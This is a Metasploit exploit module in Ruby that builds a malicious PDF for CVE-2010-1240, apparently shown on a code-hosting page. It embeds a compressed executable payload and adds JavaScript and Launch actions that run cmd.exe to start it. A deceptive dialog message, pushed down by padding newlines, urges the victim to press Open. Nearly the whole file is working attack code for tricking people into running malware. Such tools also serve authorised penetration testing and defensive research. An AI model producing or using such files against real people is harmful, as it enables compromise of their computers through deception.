/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
Ruby | 376 lines | 279 code | 83 blank | 14 comment | 23 complexity | fc8c82aa2a76af8c4d5378255d7d9d47 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
- ##
- # $Id$
- ##
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # Framework web site for more information on licensing and terms of use.
- # http://metasploit.com/framework/
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::PDF_Parse
- include Msf::Exploit::FILEFORMAT
- include Msf::Exploit::EXE
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Adobe PDF Embedded EXE Social Engineering',
- 'Description' => %q{
- This module embeds a Metasploit payload into an existing PDF file. The
- resulting PDF can be sent to a target as part of a social engineering attack.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Colin Ames <amesc[at]attackresearch.com>', # initial module
- 'jduck' # add Documents for vista/win7
- ],
- 'Version' => '$Revision$',
- 'References' =>
- [
- [ 'CVE', '2010-1240' ],
- [ 'OSVDB', '63667' ],
- [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
- [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
- [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
- ],
- 'Payload' =>
- {
- 'Space' => 2048,
- 'DisableNops' => true,
- 'StackAdjustment' => -3500,
- },
- 'Platform' => 'win',
- 'Targets' =>
- [
- [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
- ],
- 'DefaultTarget' => 0))
- register_options(
- [
- OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
- OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
- OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
- OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
- "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
- ], self.class)
- end
- def exploit
- file_name = datastore['INFILENAME']
- exe_name = datastore['EXENAME']
- print_status("Reading in '#{file_name}'...")
- stream = read_pdf()
- print_status("Parsing '#{file_name}'...")
- pdf_objects = parse_pdf(stream)
- print_status("Parsing Successful.")
- xref_trailers = pdf_objects[0]
- trailers = pdf_objects[1]
- startxrefs = pdf_objects[2]
- root_obj = pdf_objects[3]
- output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
- print_status("Creating '#{datastore['FILENAME']}' file...")
- file_create(output)
- end
- def ef_payload(pdf_name,payload_exe,obj_num)
- if !(payload_exe and payload_exe.length > 0)
- print_status("Using '#{datastore['PAYLOAD']}' as payload...")
- payload_exe = generate_payload_exe
- file_size = payload_exe.length
- stream = Rex::Text.zlib_deflate(payload_exe)
- md5 = Rex::Text.md5(stream)
- else
- print_status("Using '#{datastore['EXENAME']}' as payload...")
- file_size = File.size(payload_exe)
- stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
- md5 = Rex::Text.md5(File.read(payload_exe))
- end
- output = String.new()
- output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
- output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"
- return output
- end
- def js_payload(pdf_name,obj_num)
- output = String.new()
- output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
- output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
- # change to the home drive/path no matter what
- output << "%HOMEDRIVE%&cd %HOMEPATH%"
- # check for the pdf in these dirs, in this order..
- dirs = [ "Desktop", "My Documents", "Documents" ]
- dirs.each { |dir|
- fmt = "&"+
- "("+
- "if exist \"%s\" "+
- "(cd \"%s\")"+
- ")"
- fname = "%s\\\\#{pdf_name}.pdf" % dir
- output << fmt % [fname, dir]
- }
- launch_message = datastore['LAUNCH_MESSAGE']
- lines = []
- launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
- if (lines.length > 2)
- print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
- end
- output << "&"+
- # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
- "(start #{pdf_name}.pdf)"+
- # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
- ("\n"*10) +
- launch_message+
- # note: this extra rparen is required.
- ")"+
- ">>>>\rendobj\r"
- return output
- end
- def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
- file_name = file_name.split(/\//).pop.to_s
- match = file_name.match(/(.+)\.pdf/)
- if match
- pdf_name = match[1]
- end
- catalog = parse_object(xref_trailers,root_obj,stream)
- match = catalog.match(/Names (\d+ \d) R/m)
- if match
- names = parse_object(xref_trailers,match[1],stream)
- match = names.match(/EmbeddedFiles (\d+ \d) R/m)
- if match
- embedded_files = parse_object(xref_trailers,match[1],stream)
- new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
- else
- new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
- end
- else
- new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
- end
- if catalog.match(/OpenAction/m)
- match = catalog.match(/OpenAction (\d+ \d) R/m)
- if match
- open_action = "#{match[1]} R"
- if new_catalog
- if new_embedded_files
- new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
- elsif new_names
- new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
- else
- new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
- end
- else
- if new_embedded_files
- new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
- elsif new_names
- new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
- else
- new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
- end
- end
- else
- if new_catalog
- new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
- else
- new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
- end
- end
- else
- if new_catalog
- if new_embedded_files
- new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
- elsif new_names
- new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
- else
- new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
- end
- else
- if new_embedded_files
- new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
- elsif new_names
- new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
- else
- new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
- end
- end
- end
- pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
- pages = parse_object(xref_trailers,pages_obj,stream)
- page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
- page = parse_object(xref_trailers,page_obj,stream)
- match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
- while match
- page_obj = match[1]
- page = parse_object(xref_trailers,page_obj,stream)
- match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
- end
- match = page.match(/AA<<\/O (\d+ \d) R/m)
- if match
- aa = parse_object(xref_trailers,match[1],stream)
- end
- new_pdf = String.new()
- xrefs = String.new()
- if new_embedded_files
- pdf_payload = String.new()
- num = trailers[0].fetch("Size").to_i - 1
- pdf_payload << ef_payload(pdf_name,exe_name,num)
- pdf_payload << js_payload(pdf_name,num)
- new_pdf << stream << pdf_payload
- xrefs = xref_create(new_pdf,stream.length,"*")
- new_size = trailers[0].fetch("Size").to_i + 4
- if aa
- new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
- else
- new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
- end
- new_pdf << new_catalog
- xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
- new_pdf << new_page
- xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
- new_pdf << new_embedded_files
- xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
- if trailers[0].has_key?("ID")
- new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
- else
- new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
- end
- new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
- elsif new_names
- pdf_payload = String.new()
- num = trailers[0].fetch("Size").to_i
- pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
- pdf_payload << ef_payload(pdf_name,exe_name,num)
- pdf_payload << js_payload(pdf_name,num)
- new_pdf << stream << pdf_payload
- xrefs = xref_create(new_pdf,stream.length,"*")
- new_size = trailers[0].fetch("Size").to_i + 5
- if aa
- new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
- else
- new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
- end
- new_pdf << new_catalog
- xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
- new_pdf << new_page
- xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
- new_pdf << new_names
- xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")
- if trailers[0].has_key?("ID")
- new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
- else
- new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
- end
- new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
- else
- pdf_payload = String.new()
- num = trailers[0].fetch("Size").to_i + 1
- pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
- pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
- pdf_payload << ef_payload(pdf_name,exe_name,num)
- pdf_payload << js_payload(pdf_name,num)
- new_pdf << stream << pdf_payload
- xrefs = xref_create(new_pdf,stream.length,"*")
- new_size = trailers[0].fetch("Size").to_i + 6
- if aa
- new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
- else
- new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
- end
- new_pdf << new_catalog
- xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
- new_pdf << new_page
- xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
- if trailers[0].has_key?("ID")
- new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
- else
- new_pdf << "xref\r\n" << xrefs
- new_pdf << "trailer\r\n"
- new_pdf << "<</Size #{new_size}/Prev #{startxref}"
- new_pdf << "/Root #{trailers[0].fetch("Root")} R"
- new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
- end
- new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
- end
- return new_pdf
- end
- end